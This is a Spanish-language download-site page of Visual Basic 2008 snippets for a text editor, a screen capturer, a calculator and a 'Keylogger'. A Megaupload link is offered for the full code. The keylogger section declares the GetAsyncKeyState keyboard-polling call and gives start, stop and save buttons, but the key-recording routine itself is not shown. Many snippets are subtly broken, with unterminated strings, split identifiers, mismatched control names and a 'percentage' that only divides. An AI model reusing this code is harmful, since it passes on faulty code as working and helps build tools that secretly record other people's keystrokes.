next-descargas - Codigos para Visual Basic 2008

CODIGOS PARA VISUAL BASIC 2008

Codigo para boton "Abrir".

Dim Open As New OpenFileDialog()

Dim myStreamReader As System.IO.StreamReader

Open.Filter = "Text [*.txt*]|*.txt|All Files [*,*]|*,*"

Open.CheckFileExists = True

Open.Title = "Abrir Archivo"

Open.ShowDialog(Me)

Try

Open.OpenFile()

myStreamReader = System.IO.File.OpenText(Open.FileName)

document.Text = myStreamReader.ReadToEnd()

Catch ex As Exception

End Try

Codigo para boton "Guardar"

Dim Save As New SaveFileDialog()

Dim myStreamWriter As System.IO.StreamWriter

Save.CheckPathExists = True

Save.Title = "Guardar como"

Save.ShowDialog(Me)

Try

myStreamWriter = System.IO.File.AppendText(Save.FileName)

myStreamWriter.Write(document.text)

myStreamWriter.Flush()

Catch ex As Exception

End Try

Codigo para el boton "Copiar"

document.copy()

Codigo para el boton "Cortar"

document.Cut()

Codigo para el boton "Pegar"

document.Paste()

Codigo para el boton "Undo"

document.Undo()

Codigo para el boton "Redo"

document.Redo()

Codigo para boton "Fuente de documento de texto" (Fuente)

Try

Dim dlg As FontDialog = New FontDialog

dlg.Font = document.font

If dlg.showdialog = System.Windows.Forms.DialogResult.OK Then

document.Font = dlg.Font

End If

Catch ex As Exception: End Try

Codigo para el boton "Color de texto"

Try

Dim dlg As ColorDialog = New ColorDialog

dlg.Color = document.Forecolor

If dlg.ShowDialog = System.Windows.Forms.DialogResult.Ok Then

document.Forecolor = dlg.Color

End If

Catch ex As Exception

End Try

Codigo para el "Capturador de pantalla"

Dim bounds As Rectangle

Dim screenshot As System.Drawing.Bitmap

Dim graph As Graphics

bounds = Screen.PrimaryScreen.Bounds

screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Forma t32bppArgb)

graph = Graphics.FromImage(screenshot)

graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)

PictureBox1.Image = screenshot

Codigo para el boton "Guardar imagen"

Dim savefiledialog1 As New SaveFileDialog

Try

savefiledialog1.Title = "Save File"

savefiledialog1.FileName = "*.bm

savefiledialog1.Filter = "Bitmap |*.bmp"

If savefiledialog1.ShowDialog() = DialogResult.OK Then

PictureBox1.Image.Save(savefiledialog1.F ileName, System.Drawing.Imaging.ImageFormat.Bmp)

End If

Catch ex As Exception

'Do Nothing

End Try

Codigo para el boton "Salir"

Me.close

Codigos para "Calculadora sencilla"

Codigo SUMA: (+)

TXB3.Text = Val(txb_1.Text) + Val(Txb_2.Text)

Codigo RESTA (-)

TXB3_.Text = Val(TXB_1.Text) - Val(TXB_2.Text)

Codigo MULTIPLICACION (x)

TXB_3.Text = Val(TXB_1.Text) * Val(TXB_2.Text)

Codigo "Porcentaje"

TXB_3.Text = Val(TXB_1.Text) / Val(TXB_2.Text)

Codigo "Borra los digitos escritos":

TXB1_.Text = ""

TXB_2.Text = ""

TXB_3.Text = ""

Codigos para "Keylogger"

Codigo "Public Class Form1"

Dim Result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Codigo Button "Iniciar"

Timer1.Start()

Codigo Button "Parar"

Timer1.Stop()

Codigo Button "Borrar"

RichTextBox1.Clear()

Codigo Button "Guardar"

Dim Save As New SaveFileDialog()

Dim myStreamWriter As System.IO.StreamWriter

Save.CheckPathExists = True

Save.Title = "Guardar como"

Save.ShowDialog(Me)

Try

myStreamWriter = System.IO.File.AppendText(Save.FileName)

myStreamWriter.Write(RichTextBox1.Text)

myStreamWriter.Flush()

Catch ex As Exception

End Try

Codigo Button "Abrir"

Dim Open As New OpenFileDialog()

Dim myStreamReader As System.IO.StreamReader

Open.Filter = "Text [*.txt*]|*.txt|All Files [*,*]|*,*"

Open.CheckFileExists = True

Open.Title = "Abrir Archivo"

Open.ShowDialog(Me)

Try

Open.OpenFile()

myStreamReader = System.IO.File.OpenText(Open.FileName)

RichTextBox1.Text = myStreamReader.ReadToEnd()

Catch ex As Exception

End Try

Codigo Button "Salir"

End

Codigo button "Fuene de texto"

Try

Dim dlg As FontDialog = New FontDialog

dlg.Font = document.font

If dlg.showdialog = System.Windows.Forms.DialogResult.OK Then

document.Font = dlg.Font

End If

Catch ex As Exception: End Try

Color de fuente:

Try

Dim dlg As ColorDialog = New ColorDialog

dlg.Color = document.Forecolor

If dlg.ShowDialog = System.Windows.Forms.DialogResult.Ok Then

document.Forecolor = dlg.Color

End If

Catch ex As Exception

End Try

Codigo "Color de fondo":

Try

Dim dlg As ColorDialog = New ColorDialog

dlg.Color = document.BackColor

If dlg.ShowDialog = System.Windows.Forms.DialogResult.OK Then

document.BackColor = dlg.Color

End If

Catch ex As Exception

End Try

CODIGOS PARA VISUAL BASIC 2008

Codigos para "Keylogger"

SI DESEAS DESCARGAR LOS CODIGOS AQUI ESTA EL LINK

http://www.megaupload.com/?d=RIDIZU1J